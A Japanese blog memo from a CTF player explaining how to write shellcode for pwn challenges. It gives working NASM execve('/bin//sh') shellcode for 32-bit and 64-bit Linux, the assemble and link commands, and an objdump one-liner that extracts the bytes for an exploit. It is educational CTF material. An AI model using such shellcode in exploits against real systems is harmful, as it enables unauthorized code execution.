シェルコードの書き方メモ。
最近久しぶりにCTFをやりはじめ、Beginners CTF 2019 でシェルコードについて色々調べたのでまとめておく。
シェルコードとは
CTFのPwnの問題では、度々シェルコードを書く技術が求められる。
シェルコードとは、機械語の命令の集まりで、基本的にはシェルを起動させるためのコード。
Pwnでよくあるのは、プログラムの制御(EIP, RIP)を奪った状態でシェルコードのアドレスに飛ばすことで、シェルを起動させるという問題。
条件付き(印字可能な文字列しか使えないなど)のシェルコードを書かせるだけの問題も多い。
書き方
いきなり機械語を書くのは大変なので、アセンブラを書いて、それをアセンブルする。
ここではアセンブルとして NASMを使う。 GNU Assmbler (GAS) というのもあるらしい。
32bit環境のシェルコードはこちらの記事 がめちゃくちゃわかりやすいので解説はそちらに任せる。
まず以下のようなスクリプトを書く。
; shellcode.s
BITS 32
global _start
_start:
xor eax, eax
mov al, 11
xor ecx, ecx
xor edx, edx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
int 0x80
そして、nasm コマンドでアセンブル。
nasm shellcode.s
これで、shellcodeというファイルが作成される。
あとはpythonで読み込んでexploitに組み込めば良い。
with open('shellcode', 'rb') as f:
sc = f.read() # '1\xc0\xb0\x0b1\xc91\xd2Qh//shh/bin\x89\xe3\xcd\x80'
実際に実行して挙動を確かめるためには以下のコマンド。
(**2019/09/22 コメントを受けて オプションを変更 **)
nasm -f elf32 shellcode.s
ld -m elf_i386 shellcode.o
./a.out
64bit
基本的には32bitと変わらない。先頭で BITS 64
と宣言してあげればよい。
[ももいろテクノロジー] (http://inaz2.hatenablog.com/entry/2014/07/04/001851) より引用、以下の違いがある。
- レジスタのbit幅が64bitとなり、rax, rdx, rcx, rbx, rsi, rdi, rsp, rbp, ripのように表される
- 汎用レジスタとしてr8, r9, ..., r15が使える
- 64bit整数を即値でpushすることはできない。レジスタへのmovは可能
- システムコール番号が変わる(execveは59)
- int 0x80ではなくsyscallを使う。システムコール番号はrax、引数はrdi, rsi, rdx, r10, r8, r9の順で与える
- システムコール実行後、戻り値が入るrax以外にrcx, r11も書き換えられる可能性がある
サンプル (2019/09/22 コメントを受けて 内容を変更)
; shellcode64.s
BITS 64
global _start
_start:
xor eax, eax
mov al, 0x3b
xor esi, esi
cdq
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
mov rdi, rsp
syscall
実行するには以下。
nasm -f elf64 shellcode64.s
ld -s -o a.out shellcode64.o
./a.out
実行ファイルから文字列として取り出す
以下のコマンドで文字列を出力することができる。
objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'